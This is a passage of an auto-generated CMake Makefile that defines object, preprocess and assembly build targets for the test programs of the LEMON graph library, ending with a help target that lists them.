graph_utils_test.cc.s\n\nhao_orlin_test.o: hao_orlin_test.cc.o\n\n.PHONY : hao_orlin_test.o\n\n# target to build an object file\nhao_orlin_test.cc.o:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/hao_orlin_test.dir/build.make test/CMakeFiles/hao_orlin_test.dir/hao_orlin_test.cc.o\n.PHONY : hao_orlin_test.cc.o\n\nhao_orlin_test.i: hao_orlin_test.cc.i\n\n.PHONY : hao_orlin_test.i\n\n# target to preprocess a source file\nhao_orlin_test.cc.i:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/hao_orlin_test.dir/build.make test/CMakeFiles/hao_orlin_test.dir/hao_orlin_test.cc.i\n.PHONY : hao_orlin_test.cc.i\n\nhao_orlin_test.s: hao_orlin_test.cc.s\n\n.PHONY : hao_orlin_test.s\n\n# target to generate assembly for a file\nhao_orlin_test.cc.s:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/hao_orlin_test.dir/build.make test/CMakeFiles/hao_orlin_test.dir/hao_orlin_test.cc.s\n.PHONY : hao_orlin_test.cc.s\n\nheap_test.o: heap_test.cc.o\n\n.PHONY : heap_test.o\n\n# target to build an object file\nheap_test.cc.o:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/heap_test.dir/build.make test/CMakeFiles/heap_test.dir/heap_test.cc.o\n.PHONY : heap_test.cc.o\n\nheap_test.i: heap_test.cc.i\n\n.PHONY : heap_test.i\n\n# target to preprocess a source file\nheap_test.cc.i:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/heap_test.dir/build.make test/CMakeFiles/heap_test.dir/heap_test.cc.i\n.PHONY : heap_test.cc.i\n\nheap_test.s: heap_test.cc.s\n\n.PHONY : heap_test.s\n\n# target to generate assembly for a file\nheap_test.cc.s:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/heap_test.dir/build.make test/CMakeFiles/heap_test.dir/heap_test.cc.s\n.PHONY : heap_test.cc.s\n\nkruskal_test.o: kruskal_test.cc.o\n\n.PHONY : kruskal_test.o\n\n# target to build an object file\nkruskal_test.cc.o:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/kruskal_test.dir/build.make test/CMakeFiles/kruskal_test.dir/kruskal_test.cc.o\n.PHONY : kruskal_test.cc.o\n\nkruskal_test.i: kruskal_test.cc.i\n\n.PHONY : kruskal_test.i\n\n# target to preprocess a source file\nkruskal_test.cc.i:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/kruskal_test.dir/build.make test/CMakeFiles/kruskal_test.dir/kruskal_test.cc.i\n.PHONY : kruskal_test.cc.i\n\nkruskal_test.s: kruskal_test.cc.s\n\n.PHONY : kruskal_test.s\n\n# target to generate assembly for a file\nkruskal_test.cc.s:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/kruskal_test.dir/build.make test/CMakeFiles/kruskal_test.dir/kruskal_test.cc.s\n.PHONY : kruskal_test.cc.s\n\nlgf_reader_writer_test.o: lgf_reader_writer_test.cc.o\n\n.PHONY : lgf_reader_writer_test.o\n\n# target to build an object file\nlgf_reader_writer_test.cc.o:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/lgf_reader_writer_test.dir/build.make test/CMakeFiles/lgf_reader_writer_test.dir/lgf_reader_writer_test.cc.o\n.PHONY : lgf_reader_writer_test.cc.o\n\nlgf_reader_writer_test.i: lgf_reader_writer_test.cc.i\n\n.PHONY : lgf_reader_writer_test.i\n\n# target to preprocess a source file\nlgf_reader_writer_test.cc.i:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/lgf_reader_writer_test.dir/build.make test/CMakeFiles/lgf_reader_writer_test.dir/lgf_reader_writer_test.cc.i\n.PHONY : lgf_reader_writer_test.cc.i\n\nlgf_reader_writer_test.s: lgf_reader_writer_test.cc.s\n\n.PHONY : lgf_reader_writer_test.s\n\n# target to generate assembly for a file\nlgf_reader_writer_test.cc.s:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/lgf_reader_writer_test.dir/build.make test/CMakeFiles/lgf_reader_writer_test.dir/lgf_reader_writer_test.cc.s\n.PHONY : lgf_reader_writer_test.cc.s\n\nlgf_test.o: lgf_test.cc.o\n\n.PHONY : lgf_test.o\n\n# target to build an object file\nlgf_test.cc.o:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/lgf_test.dir/build.make test/CMakeFiles/lgf_test.dir/lgf_test.cc.o\n.PHONY : lgf_test.cc.o\n\nlgf_test.i: lgf_test.cc.i\n\n.PHONY : lgf_test.i\n\n# target to preprocess a source file\nlgf_test.cc.i:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/lgf_test.dir/build.make test/CMakeFiles/lgf_test.dir/lgf_test.cc.i\n.PHONY : lgf_test.cc.i\n\nlgf_test.s: lgf_test.cc.s\n\n.PHONY : lgf_test.s\n\n# target to generate assembly for a file\nlgf_test.cc.s:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/lgf_test.dir/build.make test/CMakeFiles/lgf_test.dir/lgf_test.cc.s\n.PHONY : lgf_test.cc.s\n\nmaps_test.o: maps_test.cc.o\n\n.PHONY : maps_test.o\n\n# target to build an object file\nmaps_test.cc.o:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/maps_test.dir/build.make test/CMakeFiles/maps_test.dir/maps_test.cc.o\n.PHONY : maps_test.cc.o\n\nmaps_test.i: maps_test.cc.i\n\n.PHONY : maps_test.i\n\n# target to preprocess a source file\nmaps_test.cc.i:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/maps_test.dir/build.make test/CMakeFiles/maps_test.dir/maps_test.cc.i\n.PHONY : maps_test.cc.i\n\nmaps_test.s: maps_test.cc.s\n\n.PHONY : maps_test.s\n\n# target to generate assembly for a file\nmaps_test.cc.s:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/maps_test.dir/build.make test/CMakeFiles/maps_test.dir/maps_test.cc.s\n.PHONY : maps_test.cc.s\n\nmatching_test.o: matching_test.cc.o\n\n.PHONY : matching_test.o\n\n# target to build an object file\nmatching_test.cc.o:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/matching_test.dir/build.make test/CMakeFiles/matching_test.dir/matching_test.cc.o\n.PHONY : matching_test.cc.o\n\nmatching_test.i: matching_test.cc.i\n\n.PHONY : matching_test.i\n\n# target to preprocess a source file\nmatching_test.cc.i:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/matching_test.dir/build.make test/CMakeFiles/matching_test.dir/matching_test.cc.i\n.PHONY : matching_test.cc.i\n\nmatching_test.s: matching_test.cc.s\n\n.PHONY : matching_test.s\n\n# target to generate assembly for a file\nmatching_test.cc.s:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/matching_test.dir/build.make test/CMakeFiles/matching_test.dir/matching_test.cc.s\n.PHONY : matching_test.cc.s\n\nmax_cardinality_search_test.o: max_cardinality_search_test.cc.o\n\n.PHONY : max_cardinality_search_test.o\n\n# target to build an object file\nmax_cardinality_search_test.cc.o:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/max_cardinality_search_test.dir/build.make test/CMakeFiles/max_cardinality_search_test.dir/max_cardinality_search_test.cc.o\n.PHONY : max_cardinality_search_test.cc.o\n\nmax_cardinality_search_test.i: max_cardinality_search_test.cc.i\n\n.PHONY : max_cardinality_search_test.i\n\n# target to preprocess a source file\nmax_cardinality_search_test.cc.i:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/max_cardinality_search_test.dir/build.make test/CMakeFiles/max_cardinality_search_test.dir/max_cardinality_search_test.cc.i\n.PHONY : max_cardinality_search_test.cc.i\n\nmax_cardinality_search_test.s: max_cardinality_search_test.cc.s\n\n.PHONY : max_cardinality_search_test.s\n\n# target to generate assembly for a file\nmax_cardinality_search_test.cc.s:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/max_cardinality_search_test.dir/build.make test/CMakeFiles/max_cardinality_search_test.dir/max_cardinality_search_test.cc.s\n.PHONY : max_cardinality_search_test.cc.s\n\nmax_clique_test.o: max_clique_test.cc.o\n\n.PHONY : max_clique_test.o\n\n# target to build an object file\nmax_clique_test.cc.o:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/max_clique_test.dir/build.make test/CMakeFiles/max_clique_test.dir/max_clique_test.cc.o\n.PHONY : max_clique_test.cc.o\n\nmax_clique_test.i: max_clique_test.cc.i\n\n.PHONY : max_clique_test.i\n\n# target to preprocess a source file\nmax_clique_test.cc.i:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/max_clique_test.dir/build.make test/CMakeFiles/max_clique_test.dir/max_clique_test.cc.i\n.PHONY : max_clique_test.cc.i\n\nmax_clique_test.s: max_clique_test.cc.s\n\n.PHONY : max_clique_test.s\n\n# target to generate assembly for a file\nmax_clique_test.cc.s:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/max_clique_test.dir/build.make test/CMakeFiles/max_clique_test.dir/max_clique_test.cc.s\n.PHONY : max_clique_test.cc.s\n\nmax_flow_test.o: max_flow_test.cc.o\n\n.PHONY : max_flow_test.o\n\n# target to build an object file\nmax_flow_test.cc.o:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/max_flow_test.dir/build.make test/CMakeFiles/max_flow_test.dir/max_flow_test.cc.o\n.PHONY : max_flow_test.cc.o\n\nmax_flow_test.i: max_flow_test.cc.i\n\n.PHONY : max_flow_test.i\n\n# target to preprocess a source file\nmax_flow_test.cc.i:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/max_flow_test.dir/build.make test/CMakeFiles/max_flow_test.dir/max_flow_test.cc.i\n.PHONY : max_flow_test.cc.i\n\nmax_flow_test.s: max_flow_test.cc.s\n\n.PHONY : max_flow_test.s\n\n# target to generate assembly for a file\nmax_flow_test.cc.s:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/max_flow_test.dir/build.make test/CMakeFiles/max_flow_test.dir/max_flow_test.cc.s\n.PHONY : max_flow_test.cc.s\n\nmin_cost_arborescence_test.o: min_cost_arborescence_test.cc.o\n\n.PHONY : min_cost_arborescence_test.o\n\n# target to build an object file\nmin_cost_arborescence_test.cc.o:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/min_cost_arborescence_test.dir/build.make test/CMakeFiles/min_cost_arborescence_test.dir/min_cost_arborescence_test.cc.o\n.PHONY : min_cost_arborescence_test.cc.o\n\nmin_cost_arborescence_test.i: min_cost_arborescence_test.cc.i\n\n.PHONY : min_cost_arborescence_test.i\n\n# target to preprocess a source file\nmin_cost_arborescence_test.cc.i:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/min_cost_arborescence_test.dir/build.make test/CMakeFiles/min_cost_arborescence_test.dir/min_cost_arborescence_test.cc.i\n.PHONY : min_cost_arborescence_test.cc.i\n\nmin_cost_arborescence_test.s: min_cost_arborescence_test.cc.s\n\n.PHONY : min_cost_arborescence_test.s\n\n# target to generate assembly for a file\nmin_cost_arborescence_test.cc.s:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/min_cost_arborescence_test.dir/build.make test/CMakeFiles/min_cost_arborescence_test.dir/min_cost_arborescence_test.cc.s\n.PHONY : min_cost_arborescence_test.cc.s\n\nmin_cost_flow_test.o: min_cost_flow_test.cc.o\n\n.PHONY : min_cost_flow_test.o\n\n# target to build an object file\nmin_cost_flow_test.cc.o:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/min_cost_flow_test.dir/build.make test/CMakeFiles/min_cost_flow_test.dir/min_cost_flow_test.cc.o\n.PHONY : min_cost_flow_test.cc.o\n\nmin_cost_flow_test.i: min_cost_flow_test.cc.i\n\n.PHONY : min_cost_flow_test.i\n\n# target to preprocess a source file\nmin_cost_flow_test.cc.i:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/min_cost_flow_test.dir/build.make test/CMakeFiles/min_cost_flow_test.dir/min_cost_flow_test.cc.i\n.PHONY : min_cost_flow_test.cc.i\n\nmin_cost_flow_test.s: min_cost_flow_test.cc.s\n\n.PHONY : min_cost_flow_test.s\n\n# target to generate assembly for a file\nmin_cost_flow_test.cc.s:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/min_cost_flow_test.dir/build.make test/CMakeFiles/min_cost_flow_test.dir/min_cost_flow_test.cc.s\n.PHONY : min_cost_flow_test.cc.s\n\nmin_mean_cycle_test.o: min_mean_cycle_test.cc.o\n\n.PHONY : min_mean_cycle_test.o\n\n# target to build an object file\nmin_mean_cycle_test.cc.o:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/min_mean_cycle_test.dir/build.make test/CMakeFiles/min_mean_cycle_test.dir/min_mean_cycle_test.cc.o\n.PHONY : min_mean_cycle_test.cc.o\n\nmin_mean_cycle_test.i: min_mean_cycle_test.cc.i\n\n.PHONY : min_mean_cycle_test.i\n\n# target to preprocess a source file\nmin_mean_cycle_test.cc.i:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/min_mean_cycle_test.dir/build.make test/CMakeFiles/min_mean_cycle_test.dir/min_mean_cycle_test.cc.i\n.PHONY : min_mean_cycle_test.cc.i\n\nmin_mean_cycle_test.s: min_mean_cycle_test.cc.s\n\n.PHONY : min_mean_cycle_test.s\n\n# target to generate assembly for a file\nmin_mean_cycle_test.cc.s:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/min_mean_cycle_test.dir/build.make test/CMakeFiles/min_mean_cycle_test.dir/min_mean_cycle_test.cc.s\n.PHONY : min_mean_cycle_test.cc.s\n\nnagamochi_ibaraki_test.o: nagamochi_ibaraki_test.cc.o\n\n.PHONY : nagamochi_ibaraki_test.o\n\n# target to build an object file\nnagamochi_ibaraki_test.cc.o:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/nagamochi_ibaraki_test.dir/build.make test/CMakeFiles/nagamochi_ibaraki_test.dir/nagamochi_ibaraki_test.cc.o\n.PHONY : nagamochi_ibaraki_test.cc.o\n\nnagamochi_ibaraki_test.i: nagamochi_ibaraki_test.cc.i\n\n.PHONY : nagamochi_ibaraki_test.i\n\n# target to preprocess a source file\nnagamochi_ibaraki_test.cc.i:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/nagamochi_ibaraki_test.dir/build.make test/CMakeFiles/nagamochi_ibaraki_test.dir/nagamochi_ibaraki_test.cc.i\n.PHONY : nagamochi_ibaraki_test.cc.i\n\nnagamochi_ibaraki_test.s: nagamochi_ibaraki_test.cc.s\n\n.PHONY : nagamochi_ibaraki_test.s\n\n# target to generate assembly for a file\nnagamochi_ibaraki_test.cc.s:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/nagamochi_ibaraki_test.dir/build.make test/CMakeFiles/nagamochi_ibaraki_test.dir/nagamochi_ibaraki_test.cc.s\n.PHONY : nagamochi_ibaraki_test.cc.s\n\npath_test.o: path_test.cc.o\n\n.PHONY : path_test.o\n\n# target to build an object file\npath_test.cc.o:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/path_test.dir/build.make test/CMakeFiles/path_test.dir/path_test.cc.o\n.PHONY : path_test.cc.o\n\npath_test.i: path_test.cc.i\n\n.PHONY : path_test.i\n\n# target to preprocess a source file\npath_test.cc.i:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/path_test.dir/build.make test/CMakeFiles/path_test.dir/path_test.cc.i\n.PHONY : path_test.cc.i\n\npath_test.s: path_test.cc.s\n\n.PHONY : path_test.s\n\n# target to generate assembly for a file\npath_test.cc.s:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/path_test.dir/build.make test/CMakeFiles/path_test.dir/path_test.cc.s\n.PHONY : path_test.cc.s\n\nplanarity_test.o: planarity_test.cc.o\n\n.PHONY : planarity_test.o\n\n# target to build an object file\nplanarity_test.cc.o:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/planarity_test.dir/build.make test/CMakeFiles/planarity_test.dir/planarity_test.cc.o\n.PHONY : planarity_test.cc.o\n\nplanarity_test.i: planarity_test.cc.i\n\n.PHONY : planarity_test.i\n\n# target to preprocess a source file\nplanarity_test.cc.i:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/planarity_test.dir/build.make test/CMakeFiles/planarity_test.dir/planarity_test.cc.i\n.PHONY : planarity_test.cc.i\n\nplanarity_test.s: planarity_test.cc.s\n\n.PHONY : planarity_test.s\n\n# target to generate assembly for a file\nplanarity_test.cc.s:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/planarity_test.dir/build.make test/CMakeFiles/planarity_test.dir/planarity_test.cc.s\n.PHONY : planarity_test.cc.s\n\nradix_sort_test.o: radix_sort_test.cc.o\n\n.PHONY : radix_sort_test.o\n\n# target to build an object file\nradix_sort_test.cc.o:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/radix_sort_test.dir/build.make test/CMakeFiles/radix_sort_test.dir/radix_sort_test.cc.o\n.PHONY : radix_sort_test.cc.o\n\nradix_sort_test.i: radix_sort_test.cc.i\n\n.PHONY : radix_sort_test.i\n\n# target to preprocess a source file\nradix_sort_test.cc.i:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/radix_sort_test.dir/build.make test/CMakeFiles/radix_sort_test.dir/radix_sort_test.cc.i\n.PHONY : radix_sort_test.cc.i\n\nradix_sort_test.s: radix_sort_test.cc.s\n\n.PHONY : radix_sort_test.s\n\n# target to generate assembly for a file\nradix_sort_test.cc.s:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/radix_sort_test.dir/build.make test/CMakeFiles/radix_sort_test.dir/radix_sort_test.cc.s\n.PHONY : radix_sort_test.cc.s\n\nrandom_test.o: random_test.cc.o\n\n.PHONY : random_test.o\n\n# target to build an object file\nrandom_test.cc.o:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/random_test.dir/build.make test/CMakeFiles/random_test.dir/random_test.cc.o\n.PHONY : random_test.cc.o\n\nrandom_test.i: random_test.cc.i\n\n.PHONY : random_test.i\n\n# target to preprocess a source file\nrandom_test.cc.i:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/random_test.dir/build.make test/CMakeFiles/random_test.dir/random_test.cc.i\n.PHONY : random_test.cc.i\n\nrandom_test.s: random_test.cc.s\n\n.PHONY : random_test.s\n\n# target to generate assembly for a file\nrandom_test.cc.s:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/random_test.dir/build.make test/CMakeFiles/random_test.dir/random_test.cc.s\n.PHONY : random_test.cc.s\n\nsuurballe_test.o: suurballe_test.cc.o\n\n.PHONY : suurballe_test.o\n\n# target to build an object file\nsuurballe_test.cc.o:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/suurballe_test.dir/build.make test/CMakeFiles/suurballe_test.dir/suurballe_test.cc.o\n.PHONY : suurballe_test.cc.o\n\nsuurballe_test.i: suurballe_test.cc.i\n\n.PHONY : suurballe_test.i\n\n# target to preprocess a source file\nsuurballe_test.cc.i:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/suurballe_test.dir/build.make test/CMakeFiles/suurballe_test.dir/suurballe_test.cc.i\n.PHONY : suurballe_test.cc.i\n\nsuurballe_test.s: suurballe_test.cc.s\n\n.PHONY : suurballe_test.s\n\n# target to generate assembly for a file\nsuurballe_test.cc.s:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/suurballe_test.dir/build.make test/CMakeFiles/suurballe_test.dir/suurballe_test.cc.s\n.PHONY : suurballe_test.cc.s\n\ntime_measure_test.o: time_measure_test.cc.o\n\n.PHONY : time_measure_test.o\n\n# target to build an object file\ntime_measure_test.cc.o:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/time_measure_test.dir/build.make test/CMakeFiles/time_measure_test.dir/time_measure_test.cc.o\n.PHONY : time_measure_test.cc.o\n\ntime_measure_test.i: time_measure_test.cc.i\n\n.PHONY : time_measure_test.i\n\n# target to preprocess a source file\ntime_measure_test.cc.i:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/time_measure_test.dir/build.make test/CMakeFiles/time_measure_test.dir/time_measure_test.cc.i\n.PHONY : time_measure_test.cc.i\n\ntime_measure_test.s: time_measure_test.cc.s\n\n.PHONY : time_measure_test.s\n\n# target to generate assembly for a file\ntime_measure_test.cc.s:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/time_measure_test.dir/build.make test/CMakeFiles/time_measure_test.dir/time_measure_test.cc.s\n.PHONY : time_measure_test.cc.s\n\ntsp_test.o: tsp_test.cc.o\n\n.PHONY : tsp_test.o\n\n# target to build an object file\ntsp_test.cc.o:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/tsp_test.dir/build.make test/CMakeFiles/tsp_test.dir/tsp_test.cc.o\n.PHONY : tsp_test.cc.o\n\ntsp_test.i: tsp_test.cc.i\n\n.PHONY : tsp_test.i\n\n# target to preprocess a source file\ntsp_test.cc.i:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/tsp_test.dir/build.make test/CMakeFiles/tsp_test.dir/tsp_test.cc.i\n.PHONY : tsp_test.cc.i\n\ntsp_test.s: tsp_test.cc.s\n\n.PHONY : tsp_test.s\n\n# target to generate assembly for a file\ntsp_test.cc.s:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/tsp_test.dir/build.make test/CMakeFiles/tsp_test.dir/tsp_test.cc.s\n.PHONY : tsp_test.cc.s\n\nunionfind_test.o: unionfind_test.cc.o\n\n.PHONY : unionfind_test.o\n\n# target to build an object file\nunionfind_test.cc.o:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/unionfind_test.dir/build.make test/CMakeFiles/unionfind_test.dir/unionfind_test.cc.o\n.PHONY : unionfind_test.cc.o\n\nunionfind_test.i: unionfind_test.cc.i\n\n.PHONY : unionfind_test.i\n\n# target to preprocess a source file\nunionfind_test.cc.i:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/unionfind_test.dir/build.make test/CMakeFiles/unionfind_test.dir/unionfind_test.cc.i\n.PHONY : unionfind_test.cc.i\n\nunionfind_test.s: unionfind_test.cc.s\n\n.PHONY : unionfind_test.s\n\n# target to generate assembly for a file\nunionfind_test.cc.s:\n\tcd /Users/almirabiglova/Documents/OptimizationProblem/NetworkSimplexMethod/lemon-1.3.1/build && $(MAKE) -f test/CMakeFiles/unionfind_test.dir/build.make test/CMakeFiles/unionfind_test.dir/unionfind_test.cc.s\n.PHONY : unionfind_test.cc.s\n\n# Help Target\nhelp:\n\t@echo \"The following are some of the valid targets for this Makefile:\"\n\t@echo \"... all (the default if no target is provided)\"\n\t@echo \"... clean\"\n\t@echo \"... depend\"\n\t@echo \"... install/strip\"\n\t@echo \"... install\"\n\t@echo \"... test\"\n\t@echo \"... rebuild_cache\"\n\t@echo \"... tsp_test\"\n\t@echo \"... time_measure_test\"\n\t@echo \"... suurballe_test\"\n\t@echo \"... random_test\"\n\t@echo \"... path_test\"\n\t@echo \"... arc_look_up_test\"\n\t@echo \"... min_mean_cycle_test\"\n\t@echo \"... planarity_test\"\n\t@echo \"... min_cost_flow_test\"\n\t@echo \"... package\"\n\t@echo \"... matching_test\"\n\t@echo \"... maps_test\"\n\t@echo \"... lgf_reader_writer_test\"\n\t@echo \"... lgf_test\"\n\t@echo \"... min_cost_arborescence_test\"\n\t@echo \"... list_install_components\"\n\t@echo \"... heap_test\"\n\t@echo \"... bpgraph_test\"\n\t@echo \"... max_clique_test\"\n\t@echo \"... graph_copy_test\"\n\t@echo \"... fractional_matching_test\"\n\t@echo \"... install/local\"\n\t@echo \"... gomory_hu_test\"\n\t@echo \"... nagamochi_ibaraki_test\"\n\t@echo \"... package_source\"\n\t@echo \"... radix_sort_test\"\n\t@echo \"... counter_test\"\n\t@echo \"... bellman_ford_test\"\n\t@echo \"... graph_test\"\n\t@echo \"... edge_set_test\"\n\t@echo \"... max_cardinality_search_test\"\n\t@echo \"... euler_test\"\n\t@echo \"... unionfind_test\"\n\t@echo \"... error_test\"\n\t@echo \"... dim_test\"\n\t@echo \"... dijkstra_test\"\n\t@echo \"... digraph_test\"\n\t@echo \"... dfs_test\"\n\t@echo \"... kruskal_test\"\n\t@echo \"... hao_orlin_test\"\n\t@echo \"... connectivity_test\"\n\t@echo \"... bfs_test\"\n\t@echo \"... graph_utils_test\"\n\t@echo \"... circulation_test\"\n\t@echo \"... edit_cache\"\n\t@echo 